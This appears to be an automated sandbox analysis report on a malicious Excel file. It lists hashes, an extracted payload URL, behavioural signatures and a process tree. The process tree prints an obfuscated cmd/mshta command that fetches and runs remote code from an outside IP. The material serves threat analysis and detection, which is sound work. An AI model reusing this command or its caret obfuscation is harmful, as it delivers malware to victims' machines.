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Analysis
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max time kernel
120s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11/11/2024, 21:37
Behavioral task
behavioral1
Sample
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls
Resource
win10v2004-20241007-en
General
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Target
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls
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Size
116KB
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MD5
6725e5a3891abc0f348fdcbcd3feeba5
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SHA1
652fb97845a5e65682768c2bf7e7165ee241b810
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SHA256
da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e
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SHA512
7fbb462ae74c2ee11a4e527e17192dccb9dcac8b6e0cef0a18dc8b7ec69f411d4e4b772f67ea756e6139162b908334755228ee2f187c53a49fdf3e42a40b04ef
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SSDEEP
3072:Ee+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIhxe53lGvFTQ3IzxgdrvxpU0f:r+nBqmKk3hbdlylKsgqopeJBWhZFVE+j
Malware Config
Extracted
http://185.7.214.7/fer/fe6.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1992 1728 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2812 mshta.exe 5 2812 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1728 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1728 EXCEL.EXE 1728 EXCEL.EXE 1728 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1728 wrote to memory of 1992 1728 EXCEL.EXE 30 PID 1728 wrote to memory of 1992 1728 EXCEL.EXE 30 PID 1728 wrote to memory of 1992 1728 EXCEL.EXE 30 PID 1728 wrote to memory of 1992 1728 EXCEL.EXE 30 PID 1992 wrote to memory of 2812 1992 cmd.exe 32 PID 1992 wrote to memory of 2812 1992 cmd.exe 32 PID 1992 wrote to memory of 2812 1992 cmd.exe 32 PID 1992 wrote to memory of 2812 1992 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\SysWOW64\cmd.execmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe6.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe6.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2812
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